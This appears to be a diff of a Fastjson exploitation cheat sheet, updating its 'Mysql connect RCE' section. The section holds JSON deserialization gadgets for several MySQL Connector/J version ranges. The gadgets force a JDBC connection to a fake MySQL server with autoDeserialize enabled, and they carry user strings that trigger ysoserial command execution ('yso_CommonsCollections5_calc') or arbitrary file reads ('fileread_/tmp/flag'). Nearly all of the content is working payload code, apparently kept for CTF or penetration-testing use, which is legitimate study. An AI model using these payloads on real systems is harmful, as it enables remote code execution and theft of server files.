@@ -802,7 +802,6 @@ https://tyskill.github.io/posts/fastjson%E6%97%A0%E5%9B%9E%E6%98%BE%E8%AF%BB%E6%
802
802
803
803
## Mysql connect RCE
804
804
### Fake Server
805
- > https://github.com/dushixiang/evil-mysql-server
806
805
> https://github.com/fnmsd/MySQL_Fake_Server
807
806
808
807
```xml
@@ -813,16 +812,17 @@ https://tyskill.github.io/posts/fastjson%E6%97%A0%E5%9B%9E%E6%98%BE%E8%AF%BB%E6%
813
812
</dependency>
814
813
```
815
814
816
- #### 5.1.11<=version<= 5.1.48
815
+ #### [ 5.1.11, 5.1.48]
817
816
```json
818
817
{
819
818
"@type" : " java.lang.AutoCloseable" ,
820
819
"@type" : " com.mysql.jdbc.JDBC4Connection" ,
821
820
"hostToConnectTo" : " 127.0.0.1" ,
822
821
"portToConnectTo" : 3306 ,
823
822
"info" : {
824
- "user" : " yso_CommonsCollections5_calc " ,
823
+ "user" : " fileread_/tmp/flag " ,
825
824
"password" : " pass" ,
825
+ "maxAllowedPacket" : " 655360" ,
826
826
"statementInterceptors" : " com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor" ,
827
827
"autoDeserialize" : " true" ,
828
828
"NUM_HOSTS" : " 1"
@@ -832,7 +832,7 @@ https://tyskill.github.io/posts/fastjson%E6%97%A0%E5%9B%9E%E6%98%BE%E8%AF%BB%E6%
832
832
}
833
833
```
834
834
835
- #### 6.0.2 or 6.0.3
835
+ #### [ 6.0.2, 6.0.6]
836
836
```json
837
837
{
838
838
"@type" : " java.lang.AutoCloseable" ,
@@ -845,7 +845,7 @@ https://tyskill.github.io/posts/fastjson%E6%97%A0%E5%9B%9E%E6%98%BE%E8%AF%BB%E6%
845
845
}
846
846
```
847
847
848
- #### 8.0.19
848
+ #### [ 8.0.7-dmr, 8.0.19]
849
849
```json
850
850
{
851
851
"@type" : " java.lang.AutoCloseable" ,
@@ -862,11 +862,12 @@ https://tyskill.github.io/posts/fastjson%E6%97%A0%E5%9B%9E%E6%98%BE%E8%AF%BB%E6%
862
862
"slaves" : [],
863
863
"properties" : {
864
864
"host" : " 127.0.0.1" ,
865
- "user" : " yso_CommonsCollections5_calc " ,
865
+ "user" : " yso_CommonsCollections5_open -a Calculator.app " ,
866
866
"dbname" : " dbname" ,
867
867
"password" : " pass" ,
868
868
"queryInterceptors" : " com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor" ,
869
- "autoDeserialize" : " true"
869
+ "autoDeserialize" : " true" ,
870
+ "allowLoadLocalInfile" : " true"
870
871
}
871
872
}
872
873
}
@@ -1025,7 +1026,7 @@ exp.xml - cmd
1025
1026
</dependency>
1026
1027
```
1027
1028
1028
- #### 5.1.11<=version<= 5.1.48
1029
+ #### [ 5.1.11, 5.1.48]
1029
1030
```json
1030
1031
{
1031
1032
"a" :{
@@ -1042,14 +1043,15 @@ exp.xml - cmd
1042
1043
"@type" :" com.ziclix.python.sql.PyConnection" ,
1043
1044
"connection" :{
1044
1045
"@type" : " com.mysql.jdbc.JDBC4Connection" ,
1045
- "hostToConnectTo" : " 192.168.66.136 " ,
1046
+ "hostToConnectTo" : " 127.0.0.1 " ,
1046
1047
"portToConnectTo" : 3306 ,
1047
1048
"info" : {
1048
- "user" : " yso_CommonsCollections4_calc " ,
1049
+ "user" : " fileread_/tmp/flag " ,
1049
1050
"password" : " pass" ,
1050
1051
"statementInterceptors" : " com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor" ,
1051
1052
"autoDeserialize" : " true" ,
1052
- "NUM_HOSTS" : " 1"
1053
+ "NUM_HOSTS" : " 1" ,
1054
+ "maxAllowedPacket" :" 655360"
1053
1055
},
1054
1056
"databaseToConnectTo" : " dbname" ,
1055
1057
"url" : " "
@@ -1059,7 +1061,7 @@ exp.xml - cmd
1059
1061
1060
1062
```
1061
1063
1062
- #### 6.0.2 or 6.0.3
1064
+ #### [ 6.0.2, 6.0.6]
1063
1065
```json
1064
1066
{
1065
1067
"a" :{
@@ -1078,15 +1080,15 @@ exp.xml - cmd
1078
1080
"@type" :" com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection" ,
1079
1081
"proxy" : {
1080
1082
"connectionString" : {
1081
- "url" : " jdbc:mysql://192.168.66.136 :3306/test?allowLoadLocalInfile=true& autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc "
1083
+ "url" : " jdbc:mysql://127.0.0.1 :3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=fileread_/tmp/flag "
1082
1084
}
1083
1085
}
1084
1086
}
1085
1087
}
1086
1088
}
1087
1089
```
1088
1090
1089
- #### 8.0.19
1091
+ #### [ 8.0.7-dmr, 8.0.19]
1090
1092
```json
1091
1093
{
1092
1094
"a" :{
@@ -1113,11 +1115,12 @@ exp.xml - cmd
1113
1115
"host" :" 127.0.0.1" ,
1114
1116
"port" :" 3306" ,
1115
1117
"connectionAttributes" :" t:cb32" ,
1116
- "user" :" yso_CommonsCollections4_calc " ,
1118
+ "user" :" fileread_/tmp/flag " ,
1117
1119
"dname" :" dname" ,
1118
1120
"password" :" password" ,
1119
- "queryInterceptors" :" com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor" ,
1120
- "autoDeserialize" :" true"
1121
+ "queryInterceptors" :" com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor" ,
1122
+ "autoDeserialize" :" true" ,
1123
+ "allowLoadLocalInfile" :" true"
1121
1124
}
1122
1125
}
1123
1126
}
0 commit comments